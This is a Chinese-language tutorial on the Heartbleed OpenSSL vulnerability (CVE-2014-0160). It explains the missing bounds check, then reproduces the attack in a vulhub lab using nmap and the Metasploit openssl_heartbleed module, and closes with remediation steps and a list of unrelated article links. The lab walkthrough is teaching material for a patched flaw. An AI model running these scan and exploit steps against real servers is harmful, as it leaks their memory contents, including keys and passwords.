OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

article/2025/11/9 14:28:29

Heartbleed

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过滤,即可以读取的数据比应该允许读取的还多。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

漏洞描述

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

漏洞原理

OpenSSL“心脏出血”漏洞的问题出现在openSSL处理TLS心跳的过程中,TLS心跳的流程是:A向B发送请求包,B收到包后读取这个包的内容(data),并返回一个包含有请求包内容的响应包。请求包的内容(data)中包含有包的类型(type)和数据长度等信息。
当B收到A的请求包后,并没有的验证A包的实际长度,而是简单的把请求包data中说明的长度当作data的实际长度,于是当请求包中说明的长度与请求包数据实际长度不同时,问题就产生了。假设A构造一个请求包,它的实际内容长度只有1,而却告诉B的它的长度是65535,那么B接受到这个包后就会把A的内容完全当作65535来处理,其实到这里,问题还并不严重,最严重的问题出在,心跳的响应包还需要附带请求包的全部内容,这就需要程序做一次将请求包的数据从它所在的内存拷贝到响应包的内存里的操作。
这下就出大问题了,当拷贝的时候,程序认为A包的内容长度是65535个字节,结果A包在内存里面实际只有1个字节,于是程序不仅拷贝出了A包的内容,还“傻傻”地将A包数据在内存中位置后额外的65534个字节拷贝进了响应包里,并将这个响应包发还给了A,于是A便轻易地获得了B内存中这65534个字节的数据。想象一下,如果这65534个字节数据中包括一些敏感信息,那么后果将非常严重。而且A还可以简单地通过连续的发送心跳包,获取B机器内存中n个65534字节的数据,这个漏洞不愧是2014年“最佳漏洞”。

影响版本

OpenSSL 1.0.1版本

漏洞复现

环境介绍

靶机:centos7 192.168.139.136
攻击机:kali 192.168.139.129
确保两台测试机网络能通

环境搭建

使用docker+vulhub搭建漏洞环境,在centos7上搭建vulhub的步骤如下:

  1. 安装docker依赖包

命令:yum install -y yum-utils device-mapper-persistent-data lvm2
在这里插入图片描述

  1. 安装docker

命令:yum install docker
在这里插入图片描述

  1. 启动docker(页面没有显示)

命令:systemctl start docker
在这里插入图片描述

  1. centos7下安装git

命令:yum install -y git
在这里插入图片描述

  1. 下载vulhub

git clone +下载地址
命令:git clone https://github.com/vulhub/vulhub.git
在这里插入图片描述

  1. 找到CVE-2014-0160,并进入,输入命令docker-compose up -d运行漏洞环境

命令:ls #查看所有漏洞目录
在这里插入图片描述

命令:cd openssl #进入该目录
ls
在这里插入图片描述

命令:docker-compose up -d #运行漏洞环境
在这里插入图片描述

  1. 查看运行情况

命令:docker ps
在这里插入图片描述

复现过程

信息收集

使用Nmap进行扫描

命令:nmap -sV -T4 192.168.139.136
在这里插入图片描述

使用Nmap漏洞扫描脚本对8443端口进行扫描检测如下:

命令:nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.139.136
在这里插入图片描述

使用MSF框架攻击

进入msfconsole

命令:msfconsole
在这里插入图片描述

搜索相关漏洞模块

命令:search heartbleed
在这里插入图片描述

使用攻击模块1

命令:use auxiliary/scanner/ssl/openssl_heartbleed
在这里插入图片描述

查看配置参数

命令:show options
在这里插入图片描述

配置参数

对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts(靶机ip)
命令:set rhosts 192.168.139.136 #靶机ip
set rport 8443 #设置端口
set verbose true #设置verbose为true是为了 看到泄露的信息在这里插入图片描述

进行攻击

命令:run
这里就可以看到 靶机的64KB信息了(如果有人此时在登录web应用,还可以直接抓到账号密码等信息)。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

修复方案

OpenSSL“心脏出血”漏洞(CVE-2014-0160)受影响的OpenSSL版本:
OpenSSL 1.0.2-beta
OpenSSL 1.0.1 - OpenSSL 1.0.1f
要解决此漏洞,简单粗暴的方法就是升级openSSL软件。
建议服务器管理员或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS选项重新编译OpenSSL,从而禁用易受攻击的功能,直至可以更新服务器软件。

1.将受影响的服务器下线,避免它继续泄露敏感信息。
2.停止旧版的 openssl 服务,升级 openssl 到新版本,并重新启动。
3.生成新密钥。(因为攻击者可能通过漏洞获取私钥。)将新密钥提交给你的CA,获得新的认证之后在服务器上安装新密钥。
4.服务器上线。
5.撤销旧认证。
6.撤销现有的会话cookies。
7.要求用户修改密码。
Heartbleed 是在 8 年多前被发现并修补的,然而许多服务器仍然存在 Heartbleed 漏洞


http://chatgpt.dhexx.cn/article/Eo7VA7Lr.shtml

相关文章

码元

码元:固定时长的信号波形,代表不同离散数值的基本波形(码元可以理解为一种信号) 固定时长中的时长可以称为码元宽度,如下图 上图信号只有0、1两种状态(1个码元携带0或1 1个码元携带1bit的信息量) 所以是二进制…

候选码、主码、外码、全码、超码

文章目录 1.候选码2.主码主属性非主属性 3.外码4.全码5.超码6.总结: 1.候选码 定义:能唯一标识关系中元组的一个属性或属性集。 2.主码 从多个候选键中选择一个作为查询、插入或者删除元组的操作变量,被选用的候选码称为主码。 每个关系必…

数据库系统--码,超码,候选码,主属性,非主属性,主码,全码,外码基本概念

当然,上述只针对学生这一个关系。若涉及参照关系还要引入外码(Foreign Key) ,A关系的其中一个属性同时是B关系的主码,那么该属性则是A关系的一个外码,参照B关系。

主属性,范式,超码,码,非主属性,全码

整个属性住都是码,则是全码 all-key STUDENT(Sno,Sname,Grade,Mname) 黄色(Sno,Sname)是码,也称主码,候选码(最小单元) 黄色区域Grade/Mname是超…

码元与码点

码元与码点 JavaScript字符串使用了两种Unicode编码混合的策略:UCS-2和UTF-16。对于可以菜哦也能够16位编码的字符(U0000~UFFFF),这两种编码实际上是一样的。(《JavaScript高级程序设计》) 关于码元和和码点…

数据库系统概论第六章(关系数据理论)知识点总结(2)—— 码的概念总结

本专栏收录了数据库的知识点,而从本文起,将讲述有关于关系数据理论中的第一范式、第二范式、第三范式以及BC范式有关知识点,提供给有需要的小伙伴进行学习,本专栏地址可以戳下面链接查看 🎈 数据库知识点总结&#xff…

Code128一维码(解码)

由于最近在弄一个用Winform实现基于"博斯得"打印机实现打印预览的玩意遇到了几个问题。 在打印条码的时候实际打印的条码长度和预览差距很大于是就查网上查了一下资料熟悉了一下条形码的构成和解读,往下看 认识Code128编码规则 依次是 : 禁止区…

数据库-超码、候选码、主码

超码(superkey)绝对算得上计算机术语中翻译以后看起来更复杂的一个典型。 超码和码其实没有任何关系,它本质上是一组属性的集合。这一组集合可以唯一的标识出一个元组,就是说不同元组的超码中的属性是不全相同的。 表中的一行就是…

计算机中常用的三种码制,码制

码制 1.数字系统 用数字信号完成对数字量进行算术运算和逻辑运算的电路称为数字电路,或数字系统。由于它具有逻辑运算和逻辑处理功能,所以又称数字逻辑电路。人类已经进入到了数字时代,数字系统在我们日常生活中愈发重要,并广泛应用于通信、商贸、交通控制、航空航天、医疗…

一文搞懂候选码、主码、全码、外码、主属性、主键、主关键字、非主属性清晰总结

👏作者简介:大家好,我是Rockey,不知名企业的不知名Java开发工程师 🔥如果感觉博主的文章还不错的话,请👍三连支持👍一下博主哦 📝联系方式:he18339193956&…

DevExpress 控件使用菜单栏之BarManager

DevExpress 开发的控件有很强的实力,不仅功能丰富,应用简便,而且界面华丽,更可方便定制。对于编程人员来说是个不错的选择。它的菜单栏控件更具代表,完全可以替代开发环境提供的基本控件,而让您编写的程序或软件更显专业化。它还提供完善的帮助系统,资料详尽,可以快速入…

组件,控件,用户控件

在学习这部分时产生了一些疑问,下面是根据我搜罗来的资料得出的一点浅薄的见解。 其实从字面上已经可以理解各自的不同了。但是具体关系其实是从类的继承上来区别的。一般控件派生于:Control类,所以从此类派生出的称之为控件。一般组…

WinCC报表控件

1、背景 WinCC实现报表历来是老大难,自带的报表功能不好使,主要在于配置麻烦,可视化又很差,而又没有好用的第三方控件。虽然网上也有很多实现报表的方法,但是毫无例外的要求使用者具有脚本编程功底,HwDataReport的出现将终结这一现象。您无需一行脚本即可完成WINCC报…

三款ActiveX图表控件对比评测 Pro ActiveX、ProEssentials、ChartDirector

原文转载自慧都控件网:http://www.evget.com/zh-CN/Info/catalog/18101.html 图表控件在现在的商业化应用中已经非常的常见了,随便打开一个网站,图表比比皆是。在自己的开发项目中,选对了好的图表控件将会对自己的项目起到画龙点…

6.1 传统控件

在上一课的表5.1已经列出了Windows的传统控件及其对应的控件类。在这些控件中,读者应该重点掌握命令按钮、选择框、单选按钮、编辑框、列表框和组合框。 .1.1 传统控件的控件通知消息 控件通过向父窗口发送控件通知消息来表明发生了某种事件.例如&#…

DevExpress 控件使用之BarManager

DevExpress 开发的控件有很强的实力,不仅功能丰富,应用简便,而且界面华丽,更可方便定制。对于编程人员来说是个不错的选择。它的菜单栏控件更具代表,完全可以替代开发环境提供的基本控件,而让您编写的程序或…

控件布局通用解决方案

你是否遇到过这样的问题:用编译器拖出一些控件放到对话框上,并合理安排好了位置;但编译运行,改变对话框的大小后,所有控件的位置都乱了,让人感觉非常糟糕。如果控件不太多,你可以尝试手写代码定…

app基本控件

一个完整的APP包括四大类:各种“栏”;内容视图;控制元素;临时视图。 各种“栏”:状态栏、导航栏、标签栏、工具栏、搜索栏、范围栏。 内容视图:列表视图、卡片视图、集合视图、图片视图、文本视图。 控制…

应用程序界面开发 - 自定义用户控件布局控件的使用

在很多时候,我们做一些非常规化的界面的时候,往往需要创建一些用户控件,在其中绘制好一些基础的界面块,作为后续重复使用的一个单元,用户控件同时也可以封装处理一些简单的逻辑。在开发Winform各种类型项目&#xff0c…

控件

1. 自定义控件&#xff1a; 编写一个类继承自一个控件类&#xff1a; public class MyTextView extends TextView 在xml布局文件中声明控件为这种自定义的空间&#xff0c;注意一定要加上包名 <zy.qiufo.MyTextView android:id"id/tvJW" …… /> 代…